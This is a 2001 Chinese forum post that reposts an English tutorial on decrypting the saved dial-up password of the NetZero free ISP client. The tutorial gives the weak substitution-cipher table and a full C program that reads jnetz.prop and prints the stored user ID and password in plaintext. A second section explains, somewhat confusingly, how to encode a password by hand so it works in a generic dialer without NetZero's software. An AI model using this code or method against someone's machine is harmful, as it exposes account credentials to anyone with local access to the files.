贴一张老外解决这个问题的贴子吧.另外netzero老断线,我也不知道为什么,以前我只遇到过一次。

csguy (jecky)
本文发表在 rolia.net/zh 相约加拿大网上社区枫下论坛
Cracking the Netzero (Free ISP) Dial Up Password


Today, the number of Internet Service Providers (both free and the not so
free ones) has really reached a very high figure. All of them aim at
providing better services and making the process of connecting to the
Internet easier for the user. One common practice amongst both Internet
Service Providers and popular browsers like Internet Explorer, have this
option called 'Save Password', which makes life easier for the user, as it
allows the user to not type in the password each time he has to connect to
the Internet.



Although, like all other software, as soon as the developer tries to add a
user friendly feature or make the software easier to use or more efficient,
he has to make at least some compromise in the security or safety field. One
popular example would be Outlook Express, ever since the Preview Pane has
been introduced within the email client, Outlook Express users have become
prone to Email-Borne Viruses.



Anyway, getting back to the subject of this tutorial, even including the
'Save Password' feature has made the User's Password unsafe. Now, what
happens is that, when you check on this option or enable it, then the
concerned software (Browser or Internet Service Provider Software) takes it
passes it through an algorithm to encrypt it. Once, the Password is
encrypted, it is then stored in the Windows Registry or in some .ini or .dat
or a similar file. Now, this system sounds quite safe, however, if you look
deeper, then you find that it is trouble waiting to happen.



The very fact that the encrypted password has to be stored somewhere, makes
this feature vulnerable. Also, almost all software providing this feature
does not use a strong algorithm. This makes the work of a hacker really
easy. Some software even stores the password as plaintext in the registry!!!
So, basically the weakest chain in this feature is that most software
developers are weary of the fact that the encrypted password can be easily
decrypted, once we study the software inside out. So, what I mean to say is
that using this feature although surely makes life easy, for those of you
who cannot remember passwords, but it does leave your Internet Account
vulnerable. However, if you are one of those people who needs to write down
your password on a piece of paper and stick it to the front of your monitor,
then this feature is definitely for you.



So how do I crack the Netzero Dial Up Password?



Anyway, Netzero is a free ISP, which asks only for a advertising bar in
return for Internet Access. It too provides this 'Save Password' feature,
however, it too like most services, uses an extremely weak algorithm to
encrypt the password. The following process of decryption works on Netzero
version 3.0 and earlier and requires Win 9x, NT or Win 2K to be running.



For this exploit, you need to have local access to the machine, which has
the Netzero software installed.

This vulnerability cannot be exploited unless and until you get the required
file, for that you either have to have local access or need to devise a
method of getting the file, which contains the password.



The Netzero Username and Password are stored in an ASCII file named, id.dat,
which is located in the Netzero directory. If the user has enabled the 'Save
Password' option, then the Username and Password are also stored in the
jnetz.prop file. The passwords stored in both these files are encrypted
using a very simply easy to crack algorithm. Although the algorithms used to
get the encrypted information (to be stored in the two files), are not same,
however they are derived from the same main algorithm. Both the algorithms
differ very slightly. In this manual we will learn as to how this weak
algorithm can be exploited.


The Netzero Password is encrypted using a substitution cipher system. The
cipher system used is a typical example of a 1 to 1 mapping between
characters where each single plaintext character is replaced by a single
encrypted character.



Are you lost? Well, to understand better read on.



Say, the Netzero application is running, and the user clicks on the 'Save
Password' option and types his password in the required field. Now, then
what happens is that, the Netzero Application loads the encrypting file,
which contains the plaintext to cipher-text database into memory. Now, for
example your password is xyz and it is stored in location 'm' of the memory
and the corresponding encrypted password abc is stored in the location 'n'
of the memory, then the password xyz actually is stored as abc.



Well it is quite simple, right? Well, almost. The part of the encryption
algorithm used by Netzero which is difficult to understand, is that two
encrypted characters replace each character of the plaintext password. These
two encrypted characters replacing a single plaintext character, are however
not stored together.

When substituting character x stored in i of a password 'n' characters long,
the first encrypted character would be stored in 'i' and the next in 'n+i.'


The two encrypted characters are derived from the following table:



| 1 a M Q f 7 g T 9 4 L W e 6 y C
-------------------------------------
g | ` a b c d e f g h i j k l m n o
T | p q r s t u v w x y z { | } ~
f | @ A B C D E F G H I J K L M N O
7 | P Q R S T U V W X Y Z [ \ ] ^ _
Q | 0 1 2 3 4 5 6 7 8 9 : ; < = > ?
M | SP ! " # $ % & ' ( ) * + , - . /

NOTE: SP represents a single space and the above chart represents ASCII
characters.


To encrypt a string of length 'n', we need to find each character in the
above table and place the column header into i and place the row header
into n+i.

For example:
E(a) = ag
E(aa) = aagg
E(aqAQ1!) = aaaaaagTf7QM
E(`abcdefghijklmno) = 1aMQf7gT94LWe6yCgggggggggggggggg

On the other hand, while decrypting the password of length 2n, then I will
be become the element in the element in the above table where the column is
headed by i and the row headed by n+i intersect.

For example:
D(af) = A
D(aaff) = AA
D(aaMMQQfgfgfg) = AaBbCc

Decrypting the password manually would be quite fun, but would definitely be
a very time consuming process. Anyhow, I do suggest you try to decrypt the
Netzero Password manually atleast once. For those of you, who do not enjoy
decrypting passwords manually, I also have a C program, which will do it for
you.



The following C program demonstrates how the Netzero Password is decrypted.
Simply compile and execute in the directory in which the jnetz.prop exists.

___________________________________________________________



#include <stdio.h>

#include <string.h>



#define UID_SIZE 64

#define PASS_CIPHER_SIZE 128

#define PASS_PLAIN_SIZE 64

#define BUF_SIZE 256



const char decTable[6][16] = {

{'`','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o'},

{'p','q','r','s','t','u','v','w','x','y','z','{','|','}','~',0},

{'@','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O'},

{'P','Q','R','S','T','U','V','W','X','Y','Z','[','\\',']','^','_'},

{'0','1','2','3','4','5','6','7','8','9',':',';','<','=','>','?'},

{' ','!','"','#','$','%','&','\'','(',')','*','+',',','-','.','/'}

};



int nz_decrypt(char cCipherPass[PASS_CIPHER_SIZE],

char cPlainPass[PASS_PLAIN_SIZE])

{

int passLen, i, idx1, idx2;

passLen = strlen(cCipherPass)/2;



if (passLen > PASS_PLAIN_SIZE)

{

printf("Error: Plain text array too
small\n");

return 1;

}



for (i = 0; i < passLen; i++)

{

switch(cCipherPass[i])

{

case '1':

idx2 = 0; break;

case 'a':

idx2 = 1; break;

case 'M':

idx2 = 2; break;

case 'Q':

idx2 = 3; break;

case 'f':

idx2 = 4; break;

case '7':

idx2 = 5; break;

case 'g':

idx2 = 6; break;

case 'T':

idx2 = 7; break;

case '9':

idx2 = 8; break;

case '4':

idx2 = 9; break;

case 'L':

idx2 = 10; break;

case 'W':

idx2 = 11; break;

case 'e':

idx2 = 12; break;

case '6':

idx2 = 13; break;

case 'y':

idx2 = 14; break;

case 'C':

idx2 = 15; break;

default:

printf("Error: Unknown
Cipher Text index: %c\n", cCipherPass[i]);

return 1;

break;

}



switch(cCipherPass[i+passLen])

{

case 'g':

idx1 = 0; break;

case 'T':

idx1 = 1; break;

case 'f':

idx1 = 2; break;

case '7':

idx1 = 3; break;

case 'Q':

idx1 = 4; break;

case 'M':

idx1 = 5; break;

default:

printf("Error: Unknown
Cipher Text Set: %c\n",

cCipherPass[i+passLen]);

return 1;

break;

}



cPlainPass[i] = decTable[idx1][idx2];

}

cPlainPass[i] = 0;



return 0;

}



int main(void)

{

FILE *hParams;

char cBuffer[BUF_SIZE], cUID[UID_SIZE];

char cCipherPass[PASS_CIPHER_SIZE],
cPlainPass[PASS_PLAIN_SIZE];

int done = 2;



printf("\nNet Zero Password Decryptor\n");

printf("Brian Carrier [bcarrier@atstake.com]\n");

printf("@Stake L0pht Research Labs\n");

printf("http://www.atstake.com\n\n");



if ((hParams = fopen("jnetz.prop","r")) == NULL)

{

printf("Unable to find jnetz.prop file\n");

return 1;

}



while ((fgets(cBuffer, BUF_SIZE, hParams) != NULL) && (done
> 0))

{

if (strncmp(cBuffer, "ProfUID=", 8) == 0)

{

done--;

strncpy(cUID, cBuffer + 8,
UID_SIZE);

printf("UserID: %s", cUID);

}



if (strncmp(cBuffer, "ProfPWD=", 8) == 0)

{

done--;

strncpy(cCipherPass, cBuffer
+ 8, PASS_CIPHER_SIZE);

printf("Encrypted Password:
%s", cCipherPass);



if (nz_decrypt(cCipherPass,
cPlainPass) != 0)

return 1;

else


printf("Plain Text Password: %s\n", cPlainPass);

}



}



fclose(hParams);



if (done > 0)

{

printf("Invalid jnetz.prop file\n");

return 1;

} else {

return 0;

}

}



________________________________________________________________



More NetZero Fun


Reinaldo Trujilo Adds:

Today we're going to tear apart the NetZero logon password.
Things you must keep in mind.

1. password format:0,n,i-n,1
2. based on the 0 counting system..ie. 0,1,2,3,4,5,etc
3. all passwords begin with a 0 and end with a 1

chart:

a=a A=#
b=? B=@
c=> C=!
d=< D=~
e=/ E==
f=. F=-
g=, G=`
h=" H=9
i=: I=8
j=' J=7
k=; K=6
l=| L=5
m=} M=4
n={ N=3
o=\ O=2
p=] P=1
q=[ Q=0
r=+ R=Z
s=_ S=Y
t=) T=X
u=( U=W
v=* V=V
w=& W=U
x=^ X=T
y=% Y=S
z=$ Z=R

SPECIAL NOTE MUST READ: the letter "a" can be equal to "a" if its the first
letter of the password,but anywhere else in the password it will take its N
value's numeric value in the alphabet. I.e if "a" is the 5th letter in the
password, its value would be the LETTER "e".(not e's encrypted value).

Alright..so lets decrypt our first password, lets keep it simple. Our
plaintext password is going to be the word "amore".

1. Count the number of characters contained in the word.
*in this case we have 5 characters
Note: we are counting on a 0 based system so the the word amore would look
something like this:
a m o r e
0 1 2 3 4
Just keep that in mind

Note: each character in the word is assigned a numeric N value.(as
shown above)

3. now write down the password like this:

a m o r e
0 1 2 3 4 <-N values
0 1 <--encrypted password

4.Now the chart says the encrypted character for "a"=a so we place that "a"
under our plaintext "a"
a m o r e
0 1 2 3 4 <--N values
0 a 1 <--encrypted password
Note: every single first character of any password will equal
its value in the chart

5.now to get the second character we have a special equation"i-n=V" where
"i" is the plaintext character, "n" is that characters numerical value, and
V is the new encrypted value.

a m o r e
0 1 2 3 4 <--the N values.(ie.N value for "m" is 1)
0 a 1 <--encrypted password

now we go to the chart and find "m". You'll find that m=} but since our
equation tells us that i-n=V we get our answer like this. m-1=l so our
encrypted value for "m" now equals "|".
so our encrypted password now looks like this

a m o r e
0 1 2 3 4 <--N values
0 a | 1 <--Encrypted password

6.now we do the same thing for letter "o".
o-2=m. "o" now equals "}"

a m o r e
0 1 2 3 4 <-- N values
0 a | } 1 <--encrypted password

7. do the same for "r".
r-3=o. "r" now equals "\"

a m o r e
0 1 2 3 4 <--N values
0 a | } \ 1 <--encrypted password

8. an now our last value "e".
e-4=a. "e" now equals "a"

a m o r e
0 1 2 3 4 <--N values
0 a | } \ a 1 <--Our full encrypted password

Result amore= 0a|}\a1

I hope this has been useful. Enjoy.

Now you can type your encrypted password into the password field of your
dialup program instead of having to use netzero's software.

P.S. one more thing.. the user name also has a special format.
it goes:

2.2.2:username@netzero.net

example if your user name is BigDaddy you'd put this in the user field of
your dialup program

2.2.2:BigDaddy@netzero.net

P.S.S. very important..i almost forgot, say you get the letter "b" as the
5th letter of your password, according to the chart(above) there is no more
spaces to move to. so what you do is follow the chart below like this

a a a a a b a a a a a a a a a a a a a a a <--original plaintext
0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <--N values
a b c d e f g h i j k l m n o p q r s t u <--password format

so "b" is the 5th letter. now its N value should be equalto "f" but since
there is a "b" is the second letter in the password format alphabet its N
value gets shifted back one space (remember we're on the 0 counting system
b=1 not 2). If 5th letter happened to be a "c" its N value would have been
shifted back two spaces. etc etc. Then you would just go on encrypting the
password as normal.

*in short, you take the the original plaintext letter's N value (5 in this
case) and you subract that letter's N (1 in this case) value in the password
format to get the new N value (4 in this case, which would make the new
letter "e").

Hopefully this cleared up what i meant, keep in mind that you only reference
this second chart below when you get a letter in the original plaintext
format who's plaintext N value is greater than its password format N value
更多精彩文章及讨论,请光临枫下论坛. 网址: rolia.net/zh
(#283704@0)
2001-12-2 -05:00

回到话题: NTZERO的终极解决方法

回到论坛: HOME枫下论坛枫下论坛主坛枫下家园电脑用户

URL:   
http://www.rolia.net/zh/post.php?f=0&p=283704